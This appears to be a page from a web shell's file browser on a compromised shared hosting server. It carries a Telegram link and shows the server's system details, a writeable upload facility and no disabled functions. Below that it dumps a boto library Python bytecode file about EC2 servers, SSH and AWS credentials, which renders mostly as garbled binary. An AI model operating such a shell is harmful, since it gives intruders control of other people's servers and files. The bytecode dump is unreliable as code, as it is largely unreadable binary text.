https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/boto/mashups/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/boto/mashups/__pycache__/server.cpython-310.pyc
o

ckF[�6�@s�dZddlZddlZddlmZddlmZddlmZm	Z	ddl
mZddlm
Z
ddlmZddlZGd	d
�d
e�ZGdd�de
�ZdS)
z)
High-level abstraction of an EC2 server
�N)�StringIO)�IObject)�Config�BotoConfigPath)�interactive_shell)�Model)�StringPropertyc@seZdZdd�Zdd�ZdS)�	ServerSetcCs^g}d}|D]}zt||�}t|�rd}|�|�Wq|�d�Yq|r-||_|jS|S)NFT)�getattr�callable�append�map_list�map)�self�name�results�is_callable�server�val�r�5/usr/lib/python3/dist-packages/boto/mashups/server.py�__getattr__&s
zServerSet.__getattr__cGs"g}|jD]	}|�||��q|S�N)r
r)r�argsr�fnrrrr6s
z
ServerSet.mapN)�__name__�
__module__�__qualname__rrrrrrr	$sr	cseZdZedd��Zedd��Zed[dd��Zd\�fd	d
�	Ze	ddd
�Z
e	dd�Ze	�Ze	dd�Z
e	dd�Ze	ddd�Ze	dd�Ze	dd�Ze	dd�Ze	dd�Ze	�Zdd�Zdd�Zeeedd�Zdd�Zeeedd �Zd!d"�Zeeedd#�Zd$d%�Zeeedd&�Zd'd(�Zeeedd)�Zd*d+�Z ee edd,�Z!d-d.�Z"ee"edd/�Z#d0d1�Z$ee$edd2�Z%d3d4�Z&d5d6�Z'ee&e'dd7�Z(d8d9�Z)d:d;�Z*d<d=�Z+d>d?�Z,d@dA�Z-	B	Cd]dDdE�Z.dFdG�Z/dHdI�Z0dJdK�Z1d\dLdM�Z2dNdO�Z3dPdQ�Z4d^dRdS�Z5d_dUdV�Z6dWdX�Z7dYdZ�Z8�Z9S)`�ServercCs|jdur
t��|_|jSr)�_ec2�boto�connect_ec2�rrrr�ec2>s

z
Server.ec2cCs&t�}|��}|D]}|�|�q	|S)zl
        Returns a list of Server instances, one for each Server object
        persisted in the db
        )r	�findr)�cls�l�rsrrrr�	InventoryDs
zServer.Inventory�cCs$|�}||_||_||_|��|Sr)r�instance_id�description�save)r%rr*r+�srrr�RegisterPszServer.RegisterNcs@tt|�j|fi|��d|_d|_d|_d|_d|_d|_dSr)	�superr�__init__�_reservation�	_instance�_ssh_client�_pkey�_configr)r�id�kw��	__class__rrr0Ys
zServer.__init__T�Name)�unique�verbose_namezInstance ID)r<zAMI IDzAvailability ZonezSecurity Group�default)r<r=zKey Namez
Elastic IPz
Instance Type�DescriptioncCst�r)�AttributeError)r�valuerrr�setReadOnlynszServer.setReadOnlycCsX|js)|jr)z
|j�|jg�}WnYdSt|�dkr)|d|_|jjd|_|jS)Nr)r2r*r#�get_all_reservations�lenr1�	instances)rr'rrr�getInstanceqs
zServer.getInstancezThe Instance for the servercC�|jr|jjSdSr)�instance�image_idr"rrr�getAMI��z
Server.getAMIzThe AMI for the servercCs|jr|j��|jjSdSr)rG�update�stater"rrr�	getStatus�s
�zServer.getStatuszThe status of the servercCrFr)rG�public_dns_namer"rrr�getHostname�rJzServer.getHostnamez!The public DNS name of the servercCrFr)rG�private_dns_namer"rrr�getPrivateHostname�rJzServer.getPrivateHostnamez"The private DNS name of the servercCrFr)rG�launch_timer"rrr�
getLaunchTime�rJzServer.getLaunchTimezThe time the Server was startedcCs|jr|j��SdSr)rG�get_console_outputr"rrr�getConsoleOutput�s
�zServer.getConsoleOutputz&Retrieve the console output for servercCrFr)r1�groupsr"rrr�	getGroups�szServer.getGroupsz5The Security Groups controlling access to this servercCs2|jst}d|jj}|�||�t|�|_|jS�Nz%s.ini)r5rrGr6�get_filer)r�remote_file�
local_filerrr�	getConfig�s
zServer.getConfigcCs<d|jj}t|�}|�|�|��|�|t�||_dSrX)rGr6�open�write�close�put_filerr5)r�configr[�fprrr�	setConfig�s

zServer.setConfigz!The instance data for this servercCs||_|j�d|j�dS)z&
        Set SDB based config
        �botoConfigsN)r5�dump_to_sdbr6)rrarrr�
set_config�szServer.set_configcCs tdd�|_|j�d|j�dS)NF)�do_loadrd)rr5�
load_from_sdbr6r"rrr�load_config�szServer.load_configcC�|jr
|j��dSdSr)rG�stopr"rrrrk���zServer.stopc	Cs>|��t��}|jt|j�gd�d}|jt|j�gd�}|js%|�	�|j�
d�sC|j�d�|j�dd|j
�|j�dd|j�|j�
d�sO|j�d�|jjrg|j�dd|jjj�|j�dd	|j�t�}|j�|�|��}|jd
d
|j||j|j|d�}|jd}|j|_|��|jr�|�|j|j�dSdS)N)�	image_idsr)�
groupnames�Credentials�aws_access_key_id�aws_secret_access_key�Pyami�server_sdb_domain�server_sdb_name�)�	min_count�	max_count�key_name�security_groups�
instance_type�	placement�	user_data)rkr r!�get_all_images�str�ami_id�get_all_security_groups�security_groupr5ri�has_section�add_section�setrprq�_manager�domainrrr^�getvalue�runrxrz�zonerDr6r*�put�
elastic_ip�associate_address)rr#�amirV�cfg�r�irrr�start�s@�
�zServer.startcCrjr)rG�rebootr"rrrr��rlz
Server.reboot�~/.ssh/known_hosts�rootcCs�ddl}|js
td�dS|jsI|st�}|�d�}|j�|�|_|�	�|_|j�
�|j�tj
�|��|j�|���|jj|jj||jd�|jS)NrzNo instance yet!zPath to OpenSSH Key file)�username�pkey)�paramikorG�printr3r�get_filename�RSAKey�from_private_key_filer4�	SSHClient�load_system_host_keys�load_host_keys�os�path�
expanduser�set_missing_host_key_policy�
AutoAddPolicy�connectrN)r�key_file�
host_key_file�unamer��iobjectrrr�get_ssh_client�s"


�zServer.get_ssh_clientcC� |��}|��}|�||�dSr)r��	open_sftp�get)r�
remotepath�	localpath�
ssh_client�sftp_clientrrrrY�zServer.get_filecCr�r)r�r�r�)rr�r�r�r�rrrr`r�zServer.put_filecCs|��}|��}|�|�Sr)r�r��listdir)rr�r�r�rrrr�s
zServer.listdircCs|�|�}|��}t|�dSr)r��invoke_shellr)rr�r��channelrrr�shells
zServer.shellcCsFtd�td�|��}|��}tj�|�\}}d|}	|�||	�tj�|�\}}d|}
|�||
�tdt�z|�t�WnYd}|d|
|	f7}|d|j	j
7}|d|7}|d	|7}|d
7}|jjdkss|jdkrx|d
7}n|d7}td|�|�
|�}|d��}
td|
�td|d���td�dS)Nzbundling image...z5	copying cert and pk over to /mnt directory on serverz/mnt/%sz	deleting %szsudo ec2-bundle-vol z-c %s -k %s z-u %s z-p %s z-s %d z-d /mnt zm1.smallz	c1.mediumz-r i386z	-r x86_64�	%sru��...complete!)r�r�r�r�r��splitr`r�remover1�owner_idrGrz�exec_command�read)r�prefixr��	cert_file�sizer�r�r�r�remote_key_file�remote_cert_file�command�t�responserrr�bundle_image"s<

zServer.bundle_imagecCs�td�d}|d|7}|d|7}|d|jj7}|d|jj7}td|�|��}|�|�}|d��}td|�td|d	���td
�dS)Nzuploading bundle...zec2-upload-bundle z-m /mnt/%s.manifest.xml z-b %s z-a %s z-s %s r�rur�r�)r�r#rprqr�r�r�)r�bucketr�r�r�r�r�rrr�
upload_bundleDs
zServer.upload_bundlecCs�t�}|s
|�d�}|s|�d�}|s|�d�}|s|�d�}|s&|�d�}|�||||�|�||�td�|j�d||f�|_	|j	S)NzName of S3 bucketzPrefix for AMI filezPath to RSA private key filezPath to RSA public cert filezSize (in MB) of bundled imagezregistering image...z%s/%s.manifest.xml)
r�
get_stringr��get_intr�r�r�r#�register_imagerH)rr�r�r�r�r�r�rrr�create_imageSs 




zServer.create_image�/dev/sdpcCs*t|d�r	|j}n|}|jj||j|d�S)z�
        Attach an EBS volume to this server

        :param volume: EBS Volume to attach
        :type volume: boto.ec2.volume.Volume

        :param device: Device to attach to (default to /dev/sdp)
        :type device: string
        r6)�	volume_idr*�device)�hasattrr6r#�
attach_volumer*)r�volumer�r�rrrr�es

zServer.attach_volumecCs(t|d�r	|j}n|}|jj||jd�S)z�
        Detach an EBS volume from this server

        :param volume: EBS Volume to detach
        :type volume: boto.ec2.volume.Volume
        r6)r�r*)r�r6r#�
detach_volumer*)rr�r�rrrr�us
zServer.detach_volumecCsjtd|�d|}td|�|��}|�|�}|d��}td|�td|d���td�dS)Nzinstalling %s...zyum -y install %sr�rur�r�)r�r�r�r�)r�package_namer�r�r�r�rrr�install_package�s
zServer.install_package)r)r)Nr�r�)NNNNN)r�):rrr�propertyr#�classmethodr(r.r0rrr*�
config_urirr�r�rxr�rzr+�logrArErGrIr�rM�statusrO�hostnamerQ�private_hostnamerSrRrU�console_outputrWrVr\rcrarfrirkr�r�r�rYr`r�r�r�r�r�r�r�r��
__classcell__rrr8rr<s�

	






�������#
�
"


r)�__doc__r �
boto.utils�boto.compatr�boto.mashups.iobjectr�boto.pyami.configrr�boto.mashups.interactiver�boto.sdb.db.modelr�boto.sdb.db.propertyrr��listr	rrrrr�<module>s

https://t.me/RX1948 - 2025